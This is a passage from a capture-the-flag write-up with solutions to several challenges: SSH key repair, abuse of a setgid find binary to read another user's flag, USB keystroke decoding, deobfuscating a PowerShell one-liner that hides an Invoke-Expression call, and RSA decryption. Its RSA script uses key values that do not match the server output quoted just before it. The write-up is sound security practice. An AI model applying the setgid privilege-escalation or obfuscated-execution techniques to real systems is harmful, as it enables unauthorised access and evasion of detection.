and appending some random text at the end of the file. Then using nano I removed the same random text from the end of the file. Now change the permissions of the file to 600 using chmod 600 id_rsa
.
Now using ssh -p xxxxx -i id_rsa [email protected]
I can ssh into the server.
user@i-cant-ssh-fa043244a39c509c-f7d49469-xdvvf:~$ cat flag.txt
flag{ee1f28722ec1ce1542aa1b486dbb1361}user@i-cant-ssh-fa043244a39c509c-f7d49469-xdvvf:~$ logout
Connection to challenge.ctf.games closed.
Finders Fee
You gotta make sure the people who find stuff for you are rewarded well!
Using find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
we can find all files with setuid and setgid permissions. One of them is /usr/bin/find
with the following permissions:
-rwxr-sr-x 1 root finder 204264 Apr 8 2024 /usr/bin/find
Now using /usr/bin/find /home/finder -exec ls -al {} \;
, we can do this because we inherit the group permissions of the file’s group owner, which is finder
.
user@finders-fee-7e29946e5d28904e-85d9694cbd-zhfrw:/home$ /usr/bin/find /home/finder -exec ls -al {} \;
total 28
drwxr-x--- 1 finder finder 4096 Oct 7 18:52 .
drwxr-xr-x 1 root root 4096 Oct 7 18:52 ..
-rw-r--r-- 1 finder finder 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 finder finder 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 finder finder 807 Mar 31 2024 .profile
-rw-r----- 1 finder finder 39 Oct 7 18:52 flag.txt
-rw-r--r-- 1 finder finder 807 Mar 31 2024 /home/finder/.profile
-rw-r--r-- 1 finder finder 220 Mar 31 2024 /home/finder/.bash_logout
-rw-r--r-- 1 finder finder 3771 Mar 31 2024 /home/finder/.bashrc
-rw-r----- 1 finder finder 39 Oct 7 18:52 /home/finder/flag.txt
Now with the same command we can cat the /home/finder/flag.txt
file. /usr/bin/find /home/finder -exec cat /home/finder/flag.txt \;
will give us the flag.
Flag: flag{5da1de289823cfc200adf91d6536d914}
Zulu
Did you know that zulu is part of the phonetic alphabet?
Attachments: zulu
I solved this challange by opening the zulu file with my archiving tool Ark.
Flag: flag{74235a9216ee609538022e6689b4de5c}
Linux Basics
Welcome to Linux Basics!
You’re expected to answer a series of questions to get the flag. To view the questions, and answer them, you’ll use the answer tool. Display questions: answer Answer a question: answer x where x is question number.
Questions:
- What’s your home directory?
pwd
: /home/user - Search the man pages. What command would you use to generate random permutations? You can use the
shuf
command to generate random permutations in Linux. - On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31
ls -al
: Aug 29 1997 -1997-08-29
- How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number. 22200 bytes,
22200/1000
= 22.2, nearest whole number is 22. - What user owns the file /home/user/myfile.txt root
- What’s the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777) Inputing
-rwxr-xr--
into https://chmod-calculator.com/ we get754
- What is the user id of ‘admin’? Using
id
we can get groups=1338(admin) - There is a user ‘john’ on the system. Can they write to /home/user/myfile.txt? (yes/no) No, because only the owner can write
- Can the ‘admin’ user execute /home/user/myfile.txt? (yes/no) Yes, because Group is admin and the permissions for Group is Read and Execute.
- Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt? Looking in
/etc/group
we can seeadmin❌1338:user,john,rose
thereforerose
is the answer. - /home/user/myfile.txt looks like a txt file, but it actually isn’t. What kind of file is it? Running
file myfile.txt
we get:myfile.txt: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 807x114, components 3
therefore the answer isjpeg
.
Flag: flag{8873fe66f8e7a6019d7d71261864f6c5}
Keyboard Junkie
My friend wouldn’t shut up about his new keyboard, so…
Attachments: keyboard_junkie
Using Nissens USB-HID-decoders we can parse our keyboard_junkie
file using ./extract_hid_data.sh keyboard_junkie
we get usbdata-1.9.1.txt
now using python3 keyboard_decode.py usbdata-1.9.1.txt
we get: so the answer is flag{f7733e0093b7d281dd0a30fcf34a9634} hahahah lol <Ctrl+c>
.
Flag: flag{f7733e0093b7d281dd0a30fcf34a9634}
Obfuscation Station
You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?
Archive password: infected-station
Attachments: Challenge.zip
After exxtracting we get a chal.ps1
file containing:
(nEW-objECt SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')
By simply removing: | & ( $eNV:cOmSPEc[4,15,25]-JOin'')
from the end and running this in a powershell terminal we get the flag: $5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"
.
Flag: flag{3ed675ef0343149723749c34fa910ae4}
Strive Marish Leadman TypeCDR
Looks like primo hex garbage. Maybe something went wrong? Can you make sense of it?
Connecting to the remote we get a response of:
p: 0xfb16f781d0c262632842e0fc0f0ae25d7d0cf7e993c1ec39029c624c11e916762d37cbb84b6a10a64524b8f3164b9349db50720f0e4fc09968a455b69a66ec97
q: 0xf1b09e62d8fd1c844b1500d8ca3b4c5fcd37ad7eb26353db39fdc0deae15d299a4bfb88e8ff1503caa4061f3d74592cd300018f77c2d8ce88bbd97554d8b3e83
d: 0x1225a25272ed70c976c2783d28a35ec56bf210672c2f0a47da71cdc424eed45b8b324e01a1495373d75feb3b9c6ef4a0e574441f874255547bc6f698961e1c388d07633d67645fbc4880a2a344885d2d20ea54eb461561e001869ce2ed63c885247fc56d2cdedd0232e3bd0f0c2c1f0962c1c0a107585d40ec54f4f65b18164d
e: 0x10001
n: 0xed0dda247f27054d4832f9b46c68449ebaa0f4950700618197e36f97a2abd2327e557ad1464ff1f9eb4560435684d33e005d8fa10f25d73870d7a8361fe0476056327ff0f1125e892a6c1886e3900dda3a10b153d0006834a8b533d4462e42267a18459d0e488b23bbcdcf10d52247629a9aa73b6732fcd971a58004d0f4a345
0x6308e74fbbcfad20bc62e9a502d4c2986d132cc74e911e2d6e04c9fd90de9125bb333e1be3878e2be47e86f8fb381c2e494b60cf9841f37c04ae7955170881b748741d82682ed07808ff162b58b469a24d93bcb22df92996b685cee463148023680795375964b96b16695ce6122244b9b8c8624f40528a14ffce883960c6a9f0
Using some python we can decrypt this RSA.
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
p = 0xfe0540cdff634da414bc0743ead8bd66a0bb4c2f398b32d3326ca9a60768c7a1d51ecf419c11ebb095d9056bdd77f3bc3c00bb004410d00e2035f562ab6cfb71
q = 0xcfd8c6fb981ee3134ae3b1d14aeb26cb818cb2e9533499d765920f0d078e70be65ec006a61dd488c8c8b455b9968e2f3eb260f6605d37f8a373f755fe39fe6c3
d = 0x61287198862f1f52083e6bf61624592ef404d2ff787cb50a88a58744997d69a029130c6ba1c742224f92df1b396bf8cb6b61fef9331cf1bffc03fb2cf2362f4da4e8ca2a8e433a71708f153347b5b70a34be5f3f709261b1fb0f3293b640a90be75eaf3439045be19e455f492ed02b717114a49d4eb3086071c259d4bb43cac1
e = 0x10001
n = 0xce3d5946f588697b189060c0a6d9bc774fd90dc00cb4578e04cf4b1fdcfe04ebf90fc00aff1ca397cda108207117d0d4d5a40c196c5ba5d3921e026dcb63cbb37f9cfb6d6414cb69bcdc62302a7267f7ca8f23c6f0d450c61871b9ab38a8e82ebfb2e3dc8ce3a71cdd3267b8d6a8ce13f93b803cd2f961847e059fc0dc1a0d13
ciphertext = 0xa7583523c7577d0696bf053f0fa6f8c2cef9e0d6b8ac7c6a079f112276e2c609e15790366a654ea231ae057e48774458607a240cddaf2b017990ac6fe2af6376c7282875b89ad6944f69285ba6d5fb9e3056768a576e1b930ce5c793aa8d8d13e14d015a977f38fa75b6c354810f03abbff265f9899cd48ff4fb7b7dd061da59
key = RSA.construct((n, e, d, p, q))
print(long_to_bytes(pow(ciphertext, d, n)).decode())
Flag: flag{cf614b15ac1dd461a2e48afdfe21b8e8}